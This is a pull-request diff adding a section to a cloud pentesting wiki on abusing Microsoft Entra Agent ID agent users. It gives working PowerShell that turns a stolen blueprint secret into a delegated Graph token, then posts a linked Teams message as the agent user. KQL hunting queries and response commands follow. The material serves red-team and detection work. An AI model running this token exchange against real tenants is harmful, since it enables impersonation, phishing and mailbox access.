Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
121 changes: 121 additions & 0 deletions src/pentesting-cloud/azure-security/az-services/az-azuread.md
Original file line number Diff line number Diff line change
Expand Up @@ -1349,6 +1349,124 @@ Operational notes:
- Generates **CSV/JSON request logs** for **Graph + SharePoint** and redacts embedded SharePoint download tokens by default (toggleable).
- Supports **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, and **Ctrl+C-safe shutdown** for traffic shaping during detection/IR tests.


## Entra Agent ID agent-user impersonation & Teams abuse

Microsoft **Entra Agent ID** introduces **agent users** that can act as user-like identities in Microsoft 365/Teams, but they **don't authenticate with normal user credentials**. If an attacker compromises the **agent identity blueprint credential**, knows the **child agent identity ID**, and targets a **linked agent user UPN**, the attacker can complete the **agent-user OAuth token exchange** and obtain a **delegated Microsoft Graph token** as that agent user.

### Agent-user token exchange

The documented flow uses **three token requests** against `https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token`:

1. **Blueprint -> exchange token** using the blueprint credential and `fmi_path=<agent-identity-id>` with scope `api://AzureADTokenExchange/.default`
2. **Agent identity -> agent token** using the previous token as `client_assertion`
3. **Agent user -> Graph token** using `grant_type=user_fic`, `user_federated_identity_credential=<agent-token>`, `username=<agent-user-upn>`, and `requested_token_use=on_behalf_of`

```powershell
$TargetEntraTenantID = '<tenant-id>'
$BlueprintSecret = '<blueprint-secret>'
$BlueprintID = '<blueprint-id>'
$TargetAgentIdentityId = '<agent-identity-id>'
$TargetLinkedAgentUserAccount = '<agent-user-upn>'

# 1. Blueprint -> exchange token
$Result = Invoke-WebRequest -Uri "https://login.microsoftonline.com/$TargetEntraTenantID/oauth2/v2.0/token" -Method Post -ContentType 'application/x-www-form-urlencoded' -Body @"
client_id=$BlueprintID
&client_secret=$BlueprintSecret
&fmi_path=$TargetAgentIdentityId
&grant_type=client_credentials
&scope=api://AzureADTokenExchange/.default
"@
$Token = $Result.Content | ConvertFrom-Json

# 2. Agent identity -> token
$Result = Invoke-WebRequest -Uri "https://login.microsoftonline.com/$TargetEntraTenantID/oauth2/v2.0/token" -Method Post -ContentType 'application/x-www-form-urlencoded' -Body @"
client_id=$TargetAgentIdentityId
&scope=api://AzureADTokenExchange/.default
&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer
&client_assertion=$($Token.access_token)
&grant_type=client_credentials
"@
$BearerToken = $Result.Content | ConvertFrom-Json

# 3. Agent user -> delegated Graph token
$Result = Invoke-WebRequest -Uri "https://login.microsoftonline.com/$TargetEntraTenantID/oauth2/v2.0/token" -Method Post -ContentType 'application/x-www-form-urlencoded' -Body @"
client_id=$TargetAgentIdentityId
&scope=https://graph.microsoft.com/.default
&client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer
&client_assertion=$($Token.access_token)
&user_federated_identity_credential=$($BearerToken.access_token)
&username=$TargetLinkedAgentUserAccount
&grant_type=user_fic
&requested_token_use=on_behalf_of
"@
$AgentUserBearerToken = $Result.Content | ConvertFrom-Json
Connect-MgGraph -AccessToken (ConvertTo-SecureString -String $AgentUserBearerToken.access_token -AsPlainText -Force)
```

If successful, the resulting token can perform any Graph action allowed by the agent user's delegated scopes (for example **`ChannelMessage.Send`**, **`Team.ReadBasic.All`**, **`Group.Read.All`**, **`Mail.ReadWrite`**, **`MailboxSettings.ReadWrite`**).

### Send Teams messages as the agent user

Once connected to Graph with the delegated token, the attacker can enumerate the target Team/channel and post as the linked agent user:

```powershell
$TargetTeam = Get-MgBetaTeam -Filter "displayName eq 'Our Team'"
$TeamChannel = Get-MgBetaTeamChannel -TeamId $TargetTeam.Id -Filter "displayName eq 'General'"

New-MgBetaTeamChannelMessage -TeamId $TargetTeam.Id -ChannelId $TeamChannel.Id -Body @{
contentType = 'html'
content = '<a href="https://domoarigato.ai/">Greetings from your robot overlords.</a>'
}
```

At the HTTP layer this appears as a **`POST`** to:

```text
https://graph.microsoft.com/beta/teams/<team-id>/channels/<channel-id>/messages
```

### Hunting / attribution pivot

Do **not** rely only on the Teams/Purview **`ClientIP`** for attribution because it may be a **Microsoft infrastructure IP**.

To reconstruct the real source of a suspicious Teams message sent by an agent user:

1. Start from Purview **`MessageReported`**, **`MessageSent`**, or **`MessageCreatedHasLink`** and recover the **`MessageId`**, sender object ID, channel/team, and any URLs.
2. Extract **`AppAccessContext.UniqueTokenId`**.
3. Pivot that value into:
- **`MicrosoftGraphActivityLogs.SignInActivityId`** to recover the real **source IP**, **user-agent**, **request method**, **Graph URI**, **HTTP status**, **AppId**, **session ID**, and **OAuth scopes**.
- **`AADNonInteractiveUserSignInLogs.UniqueTokenIdentifier`** to confirm the sender is an **agent user** and recover **`Agent.agentSubjectType=agentIDuser`**, **`Agent.agentType=agenticAppInstance`**, **`ClientCredentialType=federatedIdentityCredential`**, agent parent IDs, CA status, and other sign-in context.

Useful KQL hunting logic:

```kusto
AADNonInteractiveUserSignInLogs
| where ResourceDisplayName == "Microsoft Graph"
| where ClientCredentialType == "federatedIdentityCredential"
| where tostring(Agent.agentSubjectType) == "agentIDuser"
| project TimeGenerated, UserPrincipalName, UserId, IPAddress, UserAgent,
AppDisplayName, AppId, SessionId, UniqueTokenIdentifier,
Agent, ConditionalAccessStatus
```

> [!TIP]
> Agent users **don't generate normal interactive `SigninLogs`**. Hunt them in **`AADNonInteractiveUserSignInLogs`** and correlate with **`MicrosoftGraphActivityLogs`** via the token/session identifiers.

### Response ideas

- **Soft-delete** a malicious Teams message via Graph:

```powershell
Invoke-MgGraphRequest -Method POST -Uri "https://graph.microsoft.com/beta/teams/<team-id>/channels/<channel-id>/messages/<message-id>/softDelete"
```

- **Disable** the suspicious agent user (requires appropriate Graph permissions such as **`AgentIdUser.ReadWrite.All`**):

```powershell
Update-MgBetaUser -UserId <agent-user-object-id> -AccountEnabled:$false
```

## Entra ID Privilege Escalation

{{#ref}}
Expand Down Expand Up @@ -1417,6 +1535,9 @@ The default mode is **Audit**:

## References

- [Investigating suspicious AI workflows in Microsoft Entra Agent ID: Agent's user account](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows-teams/)
- [Agent's user account impersonation protocol - Microsoft Entra Agent ID](https://learn.microsoft.com/en-us/entra/agent-id/agent-user-oauth-flow)
- [Authentication protocols in agents - Microsoft Entra Agent ID](https://learn.microsoft.com/en-us/entra/agent-id/agent-oauth-protocols)
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)
- [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)
Expand Down